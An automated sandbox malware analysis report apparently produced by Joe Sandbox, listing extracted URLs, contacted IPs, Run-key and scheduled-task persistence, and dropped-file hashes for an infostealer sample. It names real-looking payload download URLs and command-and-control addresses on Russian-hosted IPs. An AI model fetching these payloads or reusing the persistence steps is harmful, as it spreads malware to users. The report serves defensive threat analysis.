https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/widget/demo/81.181.57.526	RageMP131.exe, 0000002D.00000002.3206727588.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.ver)	svchost.exe, 00000012.00000003.7080004981.0000014EABA8D000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORT	MPGPH131.exe, 0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.000000000136D000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3261208378.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3071931619.0000000007DEA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.0000000001218000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3072820312.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3072419404.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.0000000000568000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000176E000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botlater9	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	MPGPH131.exe, 0000001D.00000002.3260917756.0000000007DC9000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/accountfmF(	831840b410.exe, 0000001F.00000003.3234149280.0000000004060000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000002.3243043765.0000000004062000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3237964866.0000000004062000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_bot(m	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/	RageMP131.exe, 0000002D.00000002.3206727588.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000179F000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/accountT)	831840b410.exe, 0000001F.00000002.3242965392.0000000004034000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3235541239.0000000004034000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=81.181.57.52?q	c884f8452a.exe, 00000014.00000002.3279923051.0000000007ED6000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	MPGPH131.exe, 0000001D.00000002.3260917756.0000000007DC9000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDllDpRTpR	c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp	false
http://147.45.47.102:57893/hera/amadka.exe	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/License	powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/accountd	831840b410.exe, 0000001F.00000002.3242965392.0000000004034000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3235541239.0000000004034000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/81.181.57.52#&K	c884f8452a.exe, 00000024.00000002.3143187486.000000000058D000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1ame=	rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/accountp	831840b410.exe, 00000010.00000003.3105319797.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 00000010.00000003.3102067403.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 00000010.00000002.3115654406.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.167/cost/lenin.exe.eR	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/81.181.57.52	c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/	powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/t	MPGPH131.exe, 0000001D.00000002.3253650821.000000000125C000.00000004.00000020.00020000.00000000.sdmp	false
https://t.WU	c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.167/cost/lenin.exe	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.167/cost/go.exeero	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botrisepro	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/J	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/K	c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com:443/demo/home.php?s=81.181.57.52	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.000000000058D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.2803800897.0000029E9006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORTYo	MPGPH131.exe, 0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3261208378.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3071931619.0000000007DEA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3072820312.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3072419404.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botisepro_botP	c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 0000000B.00000002.2784637428.0000029E81633000.00000004.00000800.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORT%	c884f8452a.exe, 00000014.00000003.2990613852.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3280096095.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDllDpITpI	RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	false
https://ipinfo.io/Mozilla/5.0	c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1E	rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORTrs	MPGPH131.exe, 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.56/esI	rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botomania	c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false
https://ac.ecosia.org/autocomplete?q=	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000012.00000003.2839947296.0000014EAB7F3000.00000004.00000800.00020000.00000000.sdmp	false
https://t.me/risepro_bot	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.0000000001815000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botlater	MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/account7	831840b410.exe, 00000010.00000002.3120738750.0000000003858000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDll	c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	false
https://aka.ms/pscore68	powershell.exe, 0000000B.00000002.2784637428.0000029E80001000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.9.104	unknown	United States	15169	GOOGLEUS	false
104.26.5.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
193.233.132.56	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
147.45.47.93	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
142.250.9.99	www.google.com	United States	15169	GOOGLEUS	false
64.233.185.136	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
142.250.105.100	unknown	United States	15169	GOOGLEUS	false
193.233.132.167	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
108.177.122.101	www3.l.google.com	United States	15169	GOOGLEUS	false
74.125.138.101	play.google.com	United States	15169	GOOGLEUS	false
147.185.221.19	b-stamps.gl.at.ply.gg	United States	12087	SALSGIVERUS	true

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428500
Start date and time:	2024-04-19 03:27:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@106/196@19/15
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 72.21.81.240, 192.229.211.108, 172.253.124.94, 173.194.219.101, 173.194.219.100, 173.194.219.138, 173.194.219.113, 173.194.219.139, 173.194.219.102, 142.250.105.84, 34.104.35.123, 74.125.138.94, 142.250.9.94, 142.250.9.95, 64.233.176.95, 173.194.219.95, 142.250.105.95, 172.217.215.95, 74.125.138.95, 64.233.185.95, 64.233.177.95, 172.253.124.95, 74.125.136.95, 23.33.136.127, 108.177.122.95, 142.251.15.95, 173.194.219.84, 64.233.176.84, 20.42.65.92, 142.250.105.94, 104.26.12.31, 104.26.13.31, 172.67.75.172, 74.125.136.139, 74.125.136.102, 74.125.136.113, 74.125.136.138, 74.125.136.100, 74.125.136.101, 172.253.124.84, 142.250.9.84
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, optimizationguide-pa.googleapis.com, www.bing.com, clients1.google.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, self.events.data.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com
Execution Graph export aborted for target powershell.exe, PID 3176 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:27:59	Task Scheduler	Run new task: explorha path: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
03:29:02	API Interceptor	13981199x Sleep call for process: explorha.exe modified
03:29:08	API Interceptor	18x Sleep call for process: powershell.exe modified
03:29:13	Task Scheduler	Run new task: chrosha path: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
03:29:16	API Interceptor	2x Sleep call for process: svchost.exe modified
03:29:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 831840b410.exe C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe
03:29:23	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
03:29:23	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
03:29:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c884f8452a.exe C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
03:29:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
03:29:42	API Interceptor	1467451x Sleep call for process: rundll32.exe modified
03:29:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 831840b410.exe C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe
03:29:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c884f8452a.exe C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
03:29:54	API Interceptor	3x Sleep call for process: WerFault.exe modified
03:30:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
03:30:02	API Interceptor	9859532x Sleep call for process: chrosha.exe modified
03:30:34	API Interceptor	1210269x Sleep call for process: build12.exe modified

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2295808
Entropy (8bit):	7.951970323616638
Encrypted:	false
SSDEEP:	49152:neF1xn14/7RHK8MFoy7bh7bZzLhjDxdX4YgBAsU:+1xn1uhK8MFfB7dHhjdiYYAsU
MD5:	52257E8159B53FFB0F4E7CAE516DC107
SHA1:	45902F3469CCE67CD21F5904E87BD79A105C9DD5
SHA-256:	96A1AE1FA6F9AA36C26C2067939950D4567DEC2B2D7774F779AE199BE8B6BE16
SHA-512:	4BDAF2C82379B04A881660E05B121CAE79D300EA308C4D52304FF091F59800C9666630C35DAC247D37CB3478EC96D1388E04EC201AB067B2AD57FE6D4D10ACBA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 51%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........X......P....@.......................... X.......#...@.........................TMW.L...m........P.....................DMW..............................LW.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... ..).. ......................@...ejwyeyni.@....>..2..................@...zoeuqxwb......X.......#.............@...................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8e035783, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585568942777204
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	E41C7683FE6C00EB1BD54BD0845BDE6D
SHA1:	961DDB52568A165F8D34CADD31D16A30133B5E10
SHA-256:	8FF38365FD6261B7D7C79E918926DEE5D52414D4721C3C9163BFC76E372499E7
SHA-512:	35B92F49BA9AFC34F20690A3641A3AE02CB623C1DB59D8714F4046DE00D0FEFA84BF44DF5B0A1A92BA3177C4F90798BB4C37B9C262E15926DD75A7AD09AA66E3
Malicious:	false
Reputation:	unknown
Preview:	..W.... ...............X\...;...{......................0.z..........{.......\|a.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................s.....\|..................MyP@.....\|a..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MPGPH131.exe_e7f941c137a56bc35a442066886260e392eebb0_71691813_2d0c8636-0fc2-4001-88f0-874664e35bad\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0727488327709886
Encrypted:	false
SSDEEP:	192:1j8laq+zU83d/005DDP6E6jjL67Zr9qWJzuiFmZ24IO8d6t:OaUCds05DD2jwJzuiFmY4IO8q
MD5:	EF0071FC0C6C5FB79571B93C03C16BD8
SHA1:	CBF2C416256E03E10C9F2E7DFAB04AEBE144BEAD
SHA-256:	288B5550C7A0182ED60ACEB8A932FF932E5B5BE19E3155DFC473866875A1746D
SHA-512:	67BA0EA556FCDE9977686EF3CD84B0188B8DA6A7B18FFC66FD3A509C5C1C093502704BCDE1BC3B66E5F42ADE85C455D1BE05E5C03E7B40022B5B5EA91F359C32
Malicious:	false
Reputation:	unknown
